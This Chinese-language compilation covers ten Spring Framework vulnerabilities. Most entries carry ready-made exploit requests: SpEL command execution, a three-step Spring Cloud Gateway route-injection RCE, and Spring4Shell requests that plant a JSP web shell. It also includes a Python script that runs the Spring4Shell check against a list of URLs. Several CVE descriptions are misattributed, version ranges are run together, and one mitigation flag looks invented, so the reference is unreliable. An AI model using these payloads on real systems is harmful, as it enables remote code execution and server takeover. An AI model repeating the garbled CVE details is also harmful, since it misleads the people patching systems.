Spring Framework 历史漏洞大合集
1. CVE-2017-8046 Spring Data Commons 反序列化 RCE
Spring Data Commons 1.13 至 2.0.0-M4 的 PropertyPath 类在解析包含 SpEL 表达式的属性路径时未做过滤,攻击者可构造 sort 参数触发任意代码执行。
影响版本: spring-data-commons 1.13.02.0.0-M4, spring-data-jpa 1.11.02.0.0-M4, spring-data-mongodb 1.10.0~2.0.0-M4
PoC:
GET /users?sort=T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned').getClass().name HTTP/1.1
Host: victim.example.com
Accept: application/json
修复: 升级 spring-data-commons 到 1.13.10 或 2.0.0-M5。
2. CVE-2018-1258 Spring Data Binding RCE
Spring Framework 5.05.0.5, 4.34.3.14 的 RequestMappingHandlerAdapter 在数据绑定时允许通过嵌套属性名 classLoader.loadClass 调用任意类加载器。
PoC:
curl -X POST 'http://victim.example.com/api/bind' \
-d 'username=T(java.lang.Runtime).getRuntime().exec("whoami")'
3. CVE-2018-1273 Spring Data Commons 命令执行
上一漏洞的"升级版",影响 spring-data-commons 1.13.10 以下。SimplePropertyPath 解析器允许数组下标和属性访问组合绕过白名单。
GET /users?sort=class[%27%27].forName('java.lang.Runtime').getRuntime().exec('id').getClass().name HTTP/1.1
4. CVE-2020-5421 Spring MVC CRLF 注入
Spring Framework 5.2.x<5.2.8, 5.1.x<5.1.17, 5.0.x<5.0.18 中 RequestMappingHandlerAdapter 对路径前导斜杠处理不当:
GET /%0d%0aSet-Cookie:%20SESSION=hacked HTTP/1.1
Host: victim.example.com
可注入任意响应头实现会话固定或反射型 XSS。
5. CVE-2021-22096 JDBC Template SQL 注入
Spring JDBC JdbcTemplate 在 sort 参数拼接时未做白名单校验:
// 危险
jdbcTemplate.query("SELECT * FROM users ORDER BY " + sort, new RowMapper());
// 修复
List<String> allowed = Arrays.asList("id", "name", "created_at");
if (!allowed.contains(sort)) throw new IllegalArgumentException();
6. CVE-2022-22947 Spring Cloud Gateway SpEL RCE(核弹级)
Spring Cloud Gateway 3.0.0~3.0.6, 3.1.0 的 ReactiveExecutePredicate 与 AddResponseHeader 支持 SpEL,动态路由接口可被部署恶意路由。
PoC 三步利用:
# Step 1: 添加恶意路由
curl -X POST http://victim.example.com/actuator/gateway/routes \
-H 'Content-Type: application/json' \
-d '{
"id":"poc",
"uri":"http://127.0.0.1:8080",
"predicates":[{"name":"Path","args":{"pattern":"/poc"}}],
"filters":[{"name":"AddResponseHeader","args":{"name":"result","value":"#{T(java.lang.Runtime).getRuntime().exec("id").getInputStream()}}"}}]
}'
# Step 2: 刷新
curl -X POST http://victim.example.com/actuator/gateway/refresh
# Step 3: 触发
curl http://victim.example.com/poc
7. CVE-2022-22950 SpEL 表达式 DoS
org.springframework.expression 对嵌套很深的 SpEL 求值时会栈溢出,任意用 SpEL 解析用户可控输入的业务均受影响。
8. CVE-2022-22965 Spring4Shell
Spring Framework 5.3.05.3.17, 5.2.05.2.19。WebDataBinder 允许通过类加载器嵌套调用写入任意静态字段。
触发条件: Spring Framework 5.x + Apache Tomcat < 10.1 + WAR 打包 + 外部 Tomcat。
PoC:
# 写入恶意 jsp
curl 'http://victim.example.com/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=Content-Type:%20text/html%0d%0a%0d%0a<%25Runtime.getRuntime().exec(request.getParameter("cmd"))%25>'
# 切换日志路径
curl 'http://victim.example.com/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
一键检测脚本:
import requests, sys
def check(url):
params = {
"class.module.classLoader.resources.context.parent.pipeline.first.pattern": "%{7*7}",
"class.module.classLoader.resources.context.parent.pipeline.first.suffix": ".jsp",
"class.module.classLoader.resources.context.parent.pipeline.first.directory": "webapps/ROOT",
"class.module.classLoader.resources.context.parent.pipeline.first.prefix": "poc",
"class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat": ""
}
try:
r = requests.get(url, params=params, timeout=8, verify=False)
if "FileNotFound" in r.text or "Could not serialize" in r.text:
print(f"[!] {url} 存在 Spring4Shell")
else:
print(f"[-] {url} 未发现")
except Exception as e:
print(f"[x] {url}: {e}")
for line in open(sys.argv[1]):
check(line.strip())
修复: 升级到 Spring 5.3.18 / 5.2.20,临时加 JVM 参数 -Dspring.beans.inflate.enabled=false。
9. CVE-2022-22968 Data Binding 绕过
Spring4Shell 补丁仅过滤 class. 前缀,攻击者可用 Class.forName 反射绕过。本质仍是数据绑定白名单设计缺陷。
10. Spring 生态加固清单
spring:
main:
allow-bean-definition-overriding: false
mvc:
pathmatch:
matching-strategy: ant_path_matcher
web:
resources:
add-mappings: false
management:
endpoints:
web:
exposure:
include: health,info
base-path: /internal
server:
error:
include-message: never
include-stacktrace: never
以上十个漏洞构成 Spring 生态最著名的攻击链全景。建议建立内部 CVE 监控机制,优先关注 CVSS ≥ 7.0 的组件。